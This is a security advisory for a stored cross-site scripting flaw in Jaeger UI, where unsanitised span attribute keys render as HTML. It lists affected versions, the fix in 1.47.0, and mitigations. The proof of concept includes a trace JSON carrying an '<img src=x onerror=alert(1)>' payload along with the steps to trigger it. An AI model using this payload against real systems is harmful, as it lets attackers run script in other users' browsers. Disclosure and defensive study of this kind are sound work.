A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queriesGHSA-2w8w-qhg4-f78j
MEDIUMGHSA-2w8w-qhg4-f78j is a medium-severity (CVSS 6.5) vulnerability in github.com/jaegertracing/jaeger. A fix is available for github.com/jaegertracing/jaeger — see the affected versions and patch details below.
Real-World Exposure
github.com/jaegertracing/jaegerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r
Summary
Jaeger UI is using the json-markup dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the KeyValuesTable is vulnerable to XSS.
Details
The vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49
PoC
- Start a Jaeger UI
- Save the following trace as a file:
{
"data": [
{
"traceID": "076ef819cc06c45a",
"spans": [
{
"traceID": "076ef819cc06c45a",
"spanID": "076ef819cc06c45a",
"flags": 1,
"operationName": "and open 'attributes'",
"references": [],
"startTime": 1678196149232010,
"duration": 13485,
"tags": [
{
"key": "sampler.type",
"type": "string",
"value": "{\"<img src=x onerror=alert(1)>\":\"test\"}"
}
],
"logs": [],
"processID": "p1",
"warnings": null
}
],
"processes": {
"p1": {
"serviceName": "click here",
"tags": [
]
}
},
"warnings": null
}
],
"total": 0,
"limit": 0,
"offset": 0,
"errors": null
}
- Upload that trace to Jaeger UI in order to visualise it.
- Open the trace, open it's span's attributes.
- XSS should be fired.
Impact
This is a XSS on Jaeger UI. XSS can be used to run JavaScript.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/jaegertracing/jaeger | all versions | 1.47.0go get github.com/jaegertracing/jaeger@v1.47.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/jaegertracing/jaeger, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/jaegertracing/jaeger to 1.47.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2w8w-qhg4-f78j is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-2w8w-qhg4-f78j in your dependencies?
Find it across Go, including transitive dependencies.